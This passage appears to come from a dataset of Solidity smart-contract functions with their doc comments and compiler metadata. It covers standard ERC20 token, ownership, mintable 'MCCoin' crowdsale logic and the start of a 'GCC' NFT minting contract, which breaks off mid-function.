function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | increaseApproval | function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2722,
3002
]
} | 11,222 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | decreaseApproval | function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
3493,
3943
]
} | 11,223 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | Ownable | function Ownable() public {
owner = msg.sender;
}
| /**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
273,
341
]
} | 11,224 |
|||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | transferOwnership | function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
690,
882
]
} | 11,225 |
|||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | MintableToken | contract MintableToken is StandardToken, Ownable {
string public constant name = "MCCoin";
string public constant symbol = "MCC";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
} | mint | function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
| /**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
646,
941
]
} | 11,226 |
|||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | MintableToken | contract MintableToken is StandardToken, Ownable {
string public constant name = "MCCoin";
string public constant symbol = "MCC";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
} | finishMinting | function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
| /**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1066,
1224
]
} | 11,227 |
|||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units a buyer gets per wei
uint256 public rate = 40000;
// amount of raised money in wei
uint256 public weiRaised;
// march 1 00:00 GMT
uint public bonus20end = 1519862400;
// april 1 00:00 GMT
uint public bonus15end = 1522540800;
// may 1 00:00 GMT
uint public bonus10end = 1525132800;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Value(uint256 indexed value);
function Crowdsale() public {
token = createTokenContract();
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate).mul(getCurrentBonus()).div(100);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return token.totalSupply() >= hardCap;
}
function getCurrentBonus() public view returns (uint) {
if (now < bonus20end) return 120;
if (now < bonus15end) return 115;
if (now < bonus10end) return 110;
return 100;
}
} | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/ | NatSpecMultiLine | createTokenContract | function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
| // creates the token to be sold.
// override this method to have crowdsale of a specific mintable token. | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1259,
1373
]
} | 11,228 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units a buyer gets per wei
uint256 public rate = 40000;
// amount of raised money in wei
uint256 public weiRaised;
// march 1 00:00 GMT
uint public bonus20end = 1519862400;
// april 1 00:00 GMT
uint public bonus15end = 1522540800;
// may 1 00:00 GMT
uint public bonus10end = 1525132800;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Value(uint256 indexed value);
function Crowdsale() public {
token = createTokenContract();
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate).mul(getCurrentBonus()).div(100);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return token.totalSupply() >= hardCap;
}
function getCurrentBonus() public view returns (uint) {
if (now < bonus20end) return 120;
if (now < bonus15end) return 115;
if (now < bonus10end) return 110;
return 100;
}
} | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/ | NatSpecMultiLine | function () external payable {
buyTokens(msg.sender);
}
| // fallback function can be used to buy tokens | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1428,
1502
]
} | 11,229 |
||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units a buyer gets per wei
uint256 public rate = 40000;
// amount of raised money in wei
uint256 public weiRaised;
// march 1 00:00 GMT
uint public bonus20end = 1519862400;
// april 1 00:00 GMT
uint public bonus15end = 1522540800;
// may 1 00:00 GMT
uint public bonus10end = 1525132800;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Value(uint256 indexed value);
function Crowdsale() public {
token = createTokenContract();
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate).mul(getCurrentBonus()).div(100);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return token.totalSupply() >= hardCap;
}
function getCurrentBonus() public view returns (uint) {
if (now < bonus20end) return 120;
if (now < bonus15end) return 115;
if (now < bonus10end) return 110;
return 100;
}
} | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/ | NatSpecMultiLine | buyTokens | function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate).mul(getCurrentBonus()).div(100);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
| // low level token purchase function | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1547,
2109
]
} | 11,230 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units a buyer gets per wei
uint256 public rate = 40000;
// amount of raised money in wei
uint256 public weiRaised;
// march 1 00:00 GMT
uint public bonus20end = 1519862400;
// april 1 00:00 GMT
uint public bonus15end = 1522540800;
// may 1 00:00 GMT
uint public bonus10end = 1525132800;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Value(uint256 indexed value);
function Crowdsale() public {
token = createTokenContract();
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate).mul(getCurrentBonus()).div(100);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return token.totalSupply() >= hardCap;
}
function getCurrentBonus() public view returns (uint) {
if (now < bonus20end) return 120;
if (now < bonus15end) return 115;
if (now < bonus10end) return 110;
return 100;
}
} | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/ | NatSpecMultiLine | forwardFunds | function forwardFunds() internal {
wallet.transfer(msg.value);
}
| // send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2222,
2305
]
} | 11,231 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units a buyer gets per wei
uint256 public rate = 40000;
// amount of raised money in wei
uint256 public weiRaised;
// march 1 00:00 GMT
uint public bonus20end = 1519862400;
// april 1 00:00 GMT
uint public bonus15end = 1522540800;
// may 1 00:00 GMT
uint public bonus10end = 1525132800;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Value(uint256 indexed value);
function Crowdsale() public {
token = createTokenContract();
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate).mul(getCurrentBonus()).div(100);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return token.totalSupply() >= hardCap;
}
function getCurrentBonus() public view returns (uint) {
if (now < bonus20end) return 120;
if (now < bonus15end) return 115;
if (now < bonus10end) return 110;
return 100;
}
} | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/ | NatSpecMultiLine | validPurchase | function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
| // @return true if the transaction can buy tokens | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2363,
2511
]
} | 11,232 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units a buyer gets per wei
uint256 public rate = 40000;
// amount of raised money in wei
uint256 public weiRaised;
// march 1 00:00 GMT
uint public bonus20end = 1519862400;
// april 1 00:00 GMT
uint public bonus15end = 1522540800;
// may 1 00:00 GMT
uint public bonus10end = 1525132800;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Value(uint256 indexed value);
function Crowdsale() public {
token = createTokenContract();
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate).mul(getCurrentBonus()).div(100);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return token.totalSupply() >= hardCap;
}
function getCurrentBonus() public view returns (uint) {
if (now < bonus20end) return 120;
if (now < bonus15end) return 115;
if (now < bonus10end) return 110;
return 100;
}
} | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/ | NatSpecMultiLine | hasEnded | function hasEnded() public view returns (bool) {
return token.totalSupply() >= hardCap;
}
| // @return true if crowdsale event has ended | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2564,
2672
]
} | 11,233 |
|
GCC | contracts/GCC.sol | 0x5c211b8e4f93f00e2bd68e82f4e00fbb3302b35c | Solidity | GCC | contract GCC is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 8888;
uint256 private _reserved = 138;
uint256 private _mintPrice = 0.08 ether;
uint256 public maxOGMintAmount = 3;
uint256 public mintPerOGWallet = 3;
uint256 public maxMintAmount = 2;
uint256 public mintPerWallet = 2;
bool public paused = true;
bool public revealed = false;
bool public onlyWhitelisted = true;
mapping(address => bool) private oglist;
mapping(address => bool) private whitelist;
mapping(address => uint256) private walletCount;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable nonReentrant {
require(!paused, "Minting is not live");
uint256 supply = totalSupply();
require(_mintAmount > 0, "Minimum mint amount is 1");
if (onlyWhitelisted) {
require(oglist[msg.sender] || whitelist[msg.sender], "Address is not whitelisted");
if (oglist[msg.sender]) {
require(_mintAmount <= maxOGMintAmount, "Max mint for wallet is 3 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxOGMintAmount,
"Max mint for wallet is 3 GCC"
);
} else {
require(_mintAmount <= maxMintAmount, "Max mint for wallet is 2 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxMintAmount,
"Max mint for wallet is 2 GCC"
);
}
} else {
require(_mintAmount <= maxMintAmount, "Max mint for wallet is 2 GCC");
require(
walletCount[msg.sender] + _mintAmount <= maxMintAmount,
"Max mint for wallet is 2 GCC"
);
}
require(supply + _mintAmount <= maxSupply - _reserved, "Exceeds max supply");
if (msg.sender != owner()) {
require(msg.value >= _mintPrice * _mintAmount, "Ether sent is not correct");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
walletCount[msg.sender] += _mintAmount;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
